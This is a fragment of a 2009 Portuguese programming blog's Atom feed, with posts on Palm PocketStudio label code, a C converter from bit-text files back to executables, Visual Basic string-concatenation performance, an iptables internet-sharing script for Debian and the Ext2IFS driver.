Júnior</name><uri>http://www.blogger.com/profile/10065196740290789568</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6560609223793725510.post-395870997026487679</id><published>2009-04-30T15:17:00.000-07:00</published><updated>2009-05-04T10:33:10.036-07:00</updated><title type='text'>Colocando o conteúdo de um campo em um Labell</title><content type='html'>&lt;br&gt;&lt;div align=left&gt;&lt;img src="http://contador.2w.com.br/imgcontador.php?p=49b7c090" alt="Contador de acesso" border=0&gt;&lt;font size="1" color="blue"&gt;Visitas&lt;/font&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Colocando o conteúdo de um campo em um Label em PocketStudio (Palm)&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;procedure Button1_OnCtlSelect(var Handled: Boolean; ControlID: UInt16; Control: ControlPtr; On: Boolean);&lt;br /&gt;var&lt;br /&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;Texto: PChar;&lt;br /&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;TextoSize: UInt16;&lt;br /&gt;begin&lt;br /&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;//pegando o tamanho do texto e acrescentando mais 1 que será usado para o caracter de terminação de string&lt;br /&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;TextoSize := PSField.TextLength(Field1) + 1;&lt;br /&gt;&lt;br /&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;// Alocando o tamanho necessário para caber o texto&lt;br /&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;Texto := PSString.StrAlloc(TextoSize);&lt;br /&gt;&lt;br /&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;// Copiando o conteúdo do campo para a variável&lt;br /&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;PSField.Text(Field1,Texto,TextoSize);&lt;br /&gt;&lt;br /&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;// Colocando o conteúdo da variável no Caption do Label&lt;br /&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;PSLabel.SetCaption(Label1,Texto);&lt;br /&gt;&lt;br /&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;// Liberando o espaço alocado&lt;br /&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;PSString.Dispose (Texto);&lt;br /&gt;&lt;br /&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;// A atribuição Handled := True; serve para informar ao PalmOS que o &lt;br /&gt;evento foi tratado totalmente pela sua aplicação.&lt;br /&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;Handled:=True;&lt;br /&gt;&lt;br /&gt;end; &lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6560609223793725510-395870997026487679?l=prginfo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://prginfo.blogspot.com/feeds/395870997026487679/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://prginfo.blogspot.com/2009/04/colocando-o-conteudo-de-um-campo-em-um.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/395870997026487679'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/395870997026487679'/><link rel='alternate' type='text/html' href='http://prginfo.blogspot.com/2009/04/colocando-o-conteudo-de-um-campo-em-um.html' title='Colocando o conteúdo de um campo em um Labell'/><author><name>Geraldo José Ferraira Chagas Júnior</name><uri>http://www.blogger.com/profile/10065196740290789568</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6560609223793725510.post-5242690837966139876</id><published>2009-04-07T15:21:00.000-07:00</published><updated>2009-05-04T10:23:37.982-07:00</updated><title type='text'>Transformando arquivos com zeros e uns em executável</title><content type='html'>&lt;br&gt;&lt;div align=left&gt;&lt;img src="http://contador.2w.com.br/imgcontador.php?p=28d14cad" alt="Contador de acesso" border=0&gt;&lt;font size="1" color="blue"&gt;Visitas&lt;/font&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Postei aqui anteriormente o viewbin, que transformava um arquivo binário, executável em uma seqüência binária de 1's e 0's.&lt;br /&gt;Agora estou postando o oposto, um programa que transforma esse arquivo seqüencial de uns e zeros em um executável.&lt;br /&gt;&lt;br /&gt;De posse dos 2, é possível transformar um executável em seqüência binária, alterar o arquivo em um editor de texto e voltar o arquivo para executável.&lt;br /&gt;&lt;br /&gt;A idéia desses programas é fornecer ferramentas para estudo do formato ELF, para entendermos e criarmos um vírus didático para linux. É uma evolução do artigo já postado por mim sobre criação de vírus para linux.&lt;br /&gt;&lt;br /&gt;Segue o código.&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;/* bintoexe.c */&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;&lt;br /&gt;char bitToByte (char* bin);&lt;br /&gt;&lt;br /&gt;int main (int argc, char* argv[])&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;FILE *arq;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;FILE *arqDest;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;char buf[2];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;char byte[8];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;int contBit=0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned int f;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (argc!=3)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf ("Parametro incorreto.\n");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf ("Informe o nome do arquivo a ser convertido e o nome do arquivo de destino\n");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return 1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (!(arq=fopen(argv[1],"r")))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf ("Nao foi possivel abrir o arquivo %s!",argv[1]);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return 1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (!(arqDest=fopen(argv[2],"wb")))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf ("Nao foi possivel criar o arquivo %s!\n",argv[2]);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return 1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;while (f=fread(buf,1,1,arq))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ((buf[0]=='1') || (buf[0]=='0'))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;byte[contBit] = buf[0];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;contBit++;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (contBit == 8)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;buf[0] = bitToByte (byte);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;f=fwrite(buf,1,1,arqDest);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* o programa ignora qualquer sequencia que seja diferente de 8 zeros ou uns consecutivos */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;contBit = 0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;close (arq);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;close (arqDest);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf ("\n");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;char bitToByte (char* bin)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;char r=0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* faz um OR do r com as posições dos bits do mais ao menos significativos */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (bin[0]=='1') r |= 0x80;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (bin[1]=='1') r |= 0x40;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (bin[2]=='1') r |= 0x20;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (bin[3]=='1') r |= 0x10;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (bin[4]=='1') r |= 0x8;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (bin[5]=='1') r |= 0x4;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (bin[6]=='1') r |= 0x2;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (bin[7]=='1') r |= 0x1;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;return r;&lt;br /&gt;}&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6560609223793725510-5242690837966139876?l=prginfo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://prginfo.blogspot.com/feeds/5242690837966139876/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://prginfo.blogspot.com/2009/04/transformando-arquivos-com-zeros-e-uns.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/5242690837966139876'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/5242690837966139876'/><link rel='alternate' type='text/html' href='http://prginfo.blogspot.com/2009/04/transformando-arquivos-com-zeros-e-uns.html' title='Transformando arquivos com zeros e uns em executável'/><author><name>Geraldo José Ferraira Chagas Júnior</name><uri>http://www.blogger.com/profile/10065196740290789568</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6560609223793725510.post-8779158109441524497</id><published>2009-04-06T07:41:00.000-07:00</published><updated>2009-05-04T10:22:08.127-07:00</updated><title type='text'>Aumentando a performance na concatenação de string em VB</title><content type='html'>&lt;br&gt;&lt;div align=left&gt;&lt;img src="http://contador.2w.com.br/imgcontador.php?p=ca044d6e" alt="Contador de acesso" border=0&gt;&lt;font size="1" color="blue"&gt;Visitas&lt;/font&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Muitas vezes, simples alterações no código podem fazer com que a velocidade de seu sistema aumente em muito. Aqui nós veremos uma dica simples, porém muito eficiente com relação a concatenação de string.&lt;br /&gt;&lt;br /&gt;No Visual Basic, assim com na maioria das linguagens, o tempo gasto com a alocação de memória é bastante alto. Sim, o Visual Basic faz alocação de memória assim como qualquer outra linguagem de programação, o fato da alocação não ser explicita muitas vezes não significa que ela não exista.&lt;br /&gt;&lt;br /&gt;Sendo assim, se conhecermos o tamanho da string final, depois das concatenações, ficaria muito mais eficiente se alocássemos uma vez apenas a string com o tamanho final e adicionássemos as substrings com a função Mid$.&lt;br /&gt;&lt;br /&gt;Abaixo seguem dois códigos que terão o mesmo resultado, porém com um pequena diferença na implementação e veremos que o tempo gasto na execução é absurdamente diferente.&lt;br /&gt;&lt;br /&gt;Crie um módulo e acrescente a chamada a API que será responsável por pegar a data do micro. Usaremos essa função para pegar a data no início e no fim do código, assim o tempo gasto será a diferença entre os 2 tempos.&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;'data do clock no formato long&lt;br /&gt;Declare Function GetCurrentTime Lib "kernel32" Alias "GetTickCount" () As Long&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Agora crie um form e acrescente 2 TextBox e 2 CommandButton.&lt;br /&gt;&lt;br /&gt;No botão 1 acrescente o código a seguir.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Código 1.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;Private Sub Command1_Click()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dim i As Integer&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dim j As Integer&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dim t1 As Long&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dim t2 As Long&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dim texto As String&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;d1 = GetCurrentTime&lt;br /&gt;   &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;For i = 1 To 300&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;For j = 1 To 300&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;texto = texto &amp; "1"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DoEvents&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Next&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Next&lt;br /&gt;   &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;d2 = GetCurrentTime&lt;br /&gt;   &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Text1.Text = CStr(d2 - d1)&lt;br /&gt;   &lt;br /&gt;End Sub&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Neste código, para adicionar o caracter a string, o processador terá um trabalho árduo, ele terá que a cada laço alocar uma memória com o tamanho de 1 byte maior que a anterior, fazer a concatenação da string nesta nova área de memória e desalocar a string antiga.&lt;br /&gt;&lt;br /&gt;O resultado, em minha máquina foi um tempo de &lt;span style="font-weight:bold;"&gt;59786&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;No botão 2 acrescente o código a seguir.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Código 2.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;Private Sub Command2_Click()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dim i As Integer&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dim j As Integer&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dim k As Long&lt;br /&gt;   &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dim t1 As Long&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dim t2 As Long&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dim texto As String&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;d1 = GetCurrentTime&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;texto = String(90000, 0)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;k = 1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;For i = 1 To 300&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;For j = 1 To 300&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Mid$(texto, k, 1) = "1"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;k = k + 1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DoEvents&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Next&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Next&lt;br /&gt;   &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;d2 = GetCurrentTime&lt;br /&gt;   &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Text2.Text = CStr(d2 - d1)&lt;br /&gt;   &lt;br /&gt;End Sub&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Neste código, nós alocamos um string com o tamanho total desejado e a cada loop, nós colocamos a substring no lugar desejado. O resultado na minha máquina foi um tempo de &lt;span style="font-weight:bold;"&gt;241&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Comprando os resultado constatamos que o código 2 é aproximadamente 248 x mais rápido do que o código 1.&lt;br /&gt;&lt;br /&gt;Atenção em alguns detalhes na hora da criação de um sistema podem fazer a diferença entre um código eficiente ou não.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6560609223793725510-8779158109441524497?l=prginfo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://prginfo.blogspot.com/feeds/8779158109441524497/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://prginfo.blogspot.com/2009/04/aumentando-performance-na-concatenacao.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/8779158109441524497'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/8779158109441524497'/><link rel='alternate' type='text/html' href='http://prginfo.blogspot.com/2009/04/aumentando-performance-na-concatenacao.html' title='Aumentando a performance na concatenação de string em VB'/><author><name>Geraldo José Ferraira Chagas Júnior</name><uri>http://www.blogger.com/profile/10065196740290789568</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6560609223793725510.post-3637052702242244746</id><published>2009-04-03T15:18:00.000-07:00</published><updated>2009-05-04T10:21:07.465-07:00</updated><title type='text'>Compartilhando a Internet no linux (Debian)</title><content type='html'>&lt;br&gt;&lt;div align=left&gt;&lt;img src="http://contador.2w.com.br/imgcontador.php?p=6f544011" alt="Contador de acesso" border=0&gt;&lt;font size="1" color="blue"&gt;Visitas&lt;/font&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Há vários tutoriais sobre esse assunto na internet, porém uns não funcionam, outros funcionam parcialmente, outros são complicados, etc.&lt;br /&gt;&lt;br /&gt;Essa dica é utilizada por mim e funciona muito bem, cria um PROXY transparente. Bastando incluir o ip do computador no gateway das outras máquinas.&lt;br /&gt;&lt;br /&gt;Crie um arquivo /etc/init.d/xxxxx com o seguinte conteúdo:&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;#!/bin/bash&lt;br /&gt;&lt;br /&gt;echo "********* Compartilhando internet ***********"&lt;br /&gt;echo "1" &gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;&lt;br /&gt;# Limpando as tabelas&lt;br /&gt;iptables -F&lt;br /&gt;iptables -t nat -F&lt;br /&gt;iptables -t mangle -F&lt;br /&gt;&lt;br /&gt;# Mascarando conexões da rede&lt;br /&gt;# se sua conexão estiver na interface ppp0, basta trocar o eth0 por ppp0&lt;br /&gt;# a interface ppp0 é usada também em dial-up, então, neste caso, troque o eth0&lt;br /&gt;# por ppp0&lt;br /&gt;iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Salve o arquivo. A permissão desse arquivo deve ser 07xx, de acordo com sua segurança.&lt;br /&gt;&lt;br /&gt;OBS.: Os comandos do arquivo podem ser executados no terminal, na mesma ordem que irá funcionar. Porém ao reiniciar o computador, algumas configurações voltam ao default fazendo com que o compartilhamento não seja mais realizado.&lt;br /&gt;&lt;br /&gt;Com os comandos nesse arquivo, toda vez que reiniciar o computador e desejar fazer o compartilhamento basta digitar:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# /etc/init.d/xxxxx&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Fazer com que esse script seja executado na inicialização do sistema. Criar um link simbólico para ele no diretório /etc/rc2.d:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# cd /etc/rc2.d&lt;br /&gt;# ln -s /etc/init.d/internet /etc/rc2.d/S99xxxxxx&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Pronto. Agora toda vez que reiniciar o computador a internet será compartilhada automaticamente.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6560609223793725510-3637052702242244746?l=prginfo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://prginfo.blogspot.com/feeds/3637052702242244746/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://prginfo.blogspot.com/2009/04/compartilhando-internet-no-linux-debian.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/3637052702242244746'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/3637052702242244746'/><link rel='alternate' type='text/html' href='http://prginfo.blogspot.com/2009/04/compartilhando-internet-no-linux-debian.html' title='Compartilhando a Internet no linux (Debian)'/><author><name>Geraldo José Ferraira Chagas Júnior</name><uri>http://www.blogger.com/profile/10065196740290789568</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6560609223793725510.post-6035483143624807221</id><published>2009-04-03T15:08:00.000-07:00</published><updated>2009-05-04T10:20:06.494-07:00</updated><title type='text'>Trabalhando com partições Linux no Windows (visualiza, edita normalmente)</title><content type='html'>&lt;br&gt;&lt;div align=left&gt;&lt;img src="http://contador.2w.com.br/imgcontador.php?p=34e5df2c" alt="Contador de acesso" border=0&gt;&lt;font size="1" color="blue"&gt;Visitas&lt;/font&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Para quem trabalha com dual boot, sempre aparece a necessidade de transferir arquivos de um sistema operacional para outro, muitas vezes trabalhar com arquivos que foram gravados em partições diferentes da reconhecida pelo SO que está sendo utilizado no momento.&lt;br /&gt;&lt;br /&gt;Para quem trabalha com Windows e Linux em uma mesma máquina isso é possível. O &lt;span style="font-style:italic;"&gt;Ext2IFS&lt;/span&gt; permite que você trabalhe com partições Linux (ext2 e ext3) no Windows como se fosse uma partição (FAT ou NTFS).&lt;br /&gt;&lt;br /&gt;O problema é que as permissões do Linux deixam de ser válidas, assim qualquer pessoa que esteja utilizando o Windows pode alterar, renomear, excluir etc arquivos do Linux sem o menor problema, independente do usuário ou permissão atribuídos ao arquivo/pasta no Linux.&lt;br /&gt;&lt;br /&gt;Para mais informações, veja o link:&lt;br /&gt;&lt;br /&gt;    * &lt;a href="http://www.fs-driver.org/index.html"&gt;http://www.fs-driver.org/index.html&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Veja o link com o screenshots comprovando o que digo:&lt;br /&gt;&lt;br /&gt;    * &lt;a href="http://www.vivaolinux.com.br/screenshots/userview.php?login=grj_rj"&gt;http://www.vivaolinux.com.br/screenshots/userview.php?login=grj_rj&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Baixe o programa, em seu Windows, pelo link:&lt;br /&gt;&lt;br /&gt;    * &lt;a href="http://www.fs-driver.org/download.html"&gt;http://www.fs-driver.org/download.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Execute a instalação. Após confirmações, aparecerá uma tela listando todas as partições Linux e a opção de escolher a unidade desejada. Após seleção, aparecerá no Windows Explorer uma nova unidade, a escolhida para a partição Linux, permitido que você trabalhe nela normalmente, como se fosse uma partição Windows.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6560609223793725510-6035483143624807221?l=prginfo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://prginfo.blogspot.com/feeds/6035483143624807221/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://prginfo.blogspot.com/2009/04/trabalhando-com-particoes-linux-no.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/6035483143624807221'/><link rel='self' type='application/atom+xml' 